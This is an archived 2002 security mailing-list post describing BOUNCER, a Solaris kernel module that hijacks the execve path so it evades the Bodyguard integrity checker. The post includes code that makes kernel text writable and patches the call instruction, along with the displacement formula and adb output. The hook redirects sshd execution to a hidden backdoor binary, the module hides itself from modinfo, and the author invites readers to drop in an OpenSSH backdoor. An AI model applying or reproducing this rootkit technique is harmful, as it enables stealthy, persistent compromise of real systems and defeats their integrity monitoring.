UnBodyGuard a.k.a Bouncer (Solaris kernel function hijacking) (fwd)

From: noir sin (noirat_private)
Date: Thu Jul 04 2002 - 06:06:06 PDT

  • Next message: secureat_private: "[CLA-2002:505] Conectiva Linux Security Announcement - ethereal"

    Resend:
    attachment moved to http://gsu.linux.org.tr/~noir/b.tar.gz
    since no more than 100K is allowed
    
    Hi,
    
    Recently, Dave Aitel posted a link to a loadable kernel module for the
    Solaris operating system to check its kernel integrity against backdoors.
    I downloaded and do some quick analysis on the "product". Simply it does
    md5 checksuming on the sysent32 table where pointers to syscall handling
    kernel functions reside. These pointers are well known to be manipulated by
    backdoor lkm's to change the execution order and pre-execute some hacker
    code that will hide things or feed false information.
    
    I would like to demostrate a rather stealth technique that will bypass
    checks that are done by Bodyguard (Dave's lkm). Similar techniques have
    been developed for Linux by Silvio and most recently by mayhem. But my
    implementation has a major difference than Silvio's and mayhem's
    kernel function hooking; Rather than inserting a jump/call instruction on
    functions entry point, I choose to change displacement of the call
    instructions that are used on system call dispacthing.
    
    Following text will explain the glory details ... also attached is
    the source of my proof of concept code named: BOUNCER plus a precompiled
    binary of the source. Source will only compile with Sun Workshop compiler,
    do not even bother with gcc.
    Binary and source is coded/compiled on Solaris 7 and 8 sun4u with 64 bits
    kernel. Try it on only on Solaris 7 or 8 with 64 bit kernel image (isainfo
    -b).
    
    In his "product" demo, Dave checks for execve system call (only execve and
    stat64 indeed), for demostrations sake I will hook the execve syscall and
    redirect /usr/local/sbin/sshd execution to /usr/lib/.funky/sshd
    (kids, you can grab your favorite OpenSSH backdoor and place it under /usr/lib/.funky/)
    
    Here are the details:
    bash-2.03# adb -k /dev/ksyms
    physmem 3b5b
    exece/5i
    exece:
    exece:          save    %sp, -0xb0, %sp
                    mov     %i0, %o0
                    mov     %i1, %o1
                    call    exec_common
                    mov     %i2, %o2
    After the userland trap instruction kernel dispacthes the execve system
    call to the exece() function, as we can see exece() directly call
    exec_common() without touching anything, this is the instruction
    "call exec_common" that we are going to hijack!! and change the
    displacement to our newly inserted code: hook_execcommon()
    
    exece+0xc/i
    exece+0xc:      call    exec_common
    .=X
                    10086cf0
    10086cf0/X
    exece+0xc:      4000000c
    this is the value before patching it
    
    but we will face an obstacle here since the kernel text is read and
    execute only in Solaris kernel. there is no such issue on Linux since
    kernel text is rwx ... here is how to overcome the problem:B
    
    unsigned int gprot;
                  |--> a global to store the orginal protection bits
    ...
    ...
    ..
    int
    _init(void)
    ....
    
     if((i = hat_getattr(kas.a_hat, (caddr_t) orig_exece, &gprot)) != 0)
            goto out;            |
    			     |--> get the page protection bits and store it in gprot
    
    
     hat_setattr(kas.a_hat, (caddr_t) orig_exece, 0x4, PROT_WRITE);
                                                         |--> set
    							>PROT_WRITE bit
    
     *(int *) orig_exece = call_ins;
                            |--> patch the kernel text with our call instruction
    
     hat_chgattr(kas.a_hat, (caddr_t) orig_exece, 0x4, gprot);
                                          |--> restore the page protection
    
    ....
    
    that's it ;-), simple as that... and on _fini we do the same routine to
    restore the original call instruction
    
    also here is how the displacement for the call instruction is calculated:
                                         ____________________________
    call instruction on SPARC cpu is:    |01|    30bit displacement  |
                                         ----------------------------
    all you have to do is find the difference between 2 addresses
    (hook_execcommon - (exece+0xc)) bitwise shit it 2 bits to right than OR it
    with 0x40000000, done!
    
    Additional side note: bouncer does not even reads from the sysent/sysent32
    table, it uses kobj_getsymvalue(char *,  int) function to resolve the
    kernel symbols like exece, exec ...
    
    let's continue
    bash-2.03# modload bouncer              ---> lets load our module
    bash-2.03# adb -k /dev/ksyms
    physmem 3b5b
    exece/5i
    exece:
    exece:          save    %sp, -0xb0, %sp
                    mov     %i0, %o0
                    mov     %i1, %o1
                    call    hook_execcommon  ---> w0w!!! it is patched
                    mov     %i2, %o2
    exece+0xc/i
    exece+0xc:      call    hook_execcommon
    .=X
                    10086cf0
    10086cf0/X
    exece+0xc:      400675c0
    $q
    
    bash-2.03# /usr/local/sbin/sshd
    bash: /usr/lib/.funky/sshd: No such file or directory
    		|--> i don't run OpenSSH, backdoor is active!
    bash-2.03# modinfo | grep bouncer
    		|--> invisible, but I can guess da number ;)
    bash-2.03# modunload -i 118   --> lets unload and do sanity check!! ;-p
    bash-2.03# adb -k /dev/ksyms
    physmem 3b5b
    exece+0xc/i
    exece+0xc:      call    exec_common     --> cool back to normal
    .=X
                    10086cf0
    10086cf0/X
    exece+0xc:      4000000c
    $q
    
    bash-2.03#
    
    a clean unload....
    
    hope somebody enjoyed it.
    
    later,
    noir
    
    ohh!!!!! of course the credits:
    Thanks to Dave Aitel for making me think about this ....
    
    greetz and thankz to Optyx for being a real cool dad! ;-)
    Dan for being sharp as blade, cool as hell!! respect!
    
    And additional thanks to Agayev, Hamlin, Mis Skywalker for extensively
    testing my backdoors even on their production environments, without you
    guys I'm nothing! ;-P
    
    no thanks to lamers at the so called tr scene!, you know who you are,
    delphi boys, pcap kids!
    



    This archive was generated by hypermail 2b30 : Thu Jul 04 2002 - 11:01:26 PDT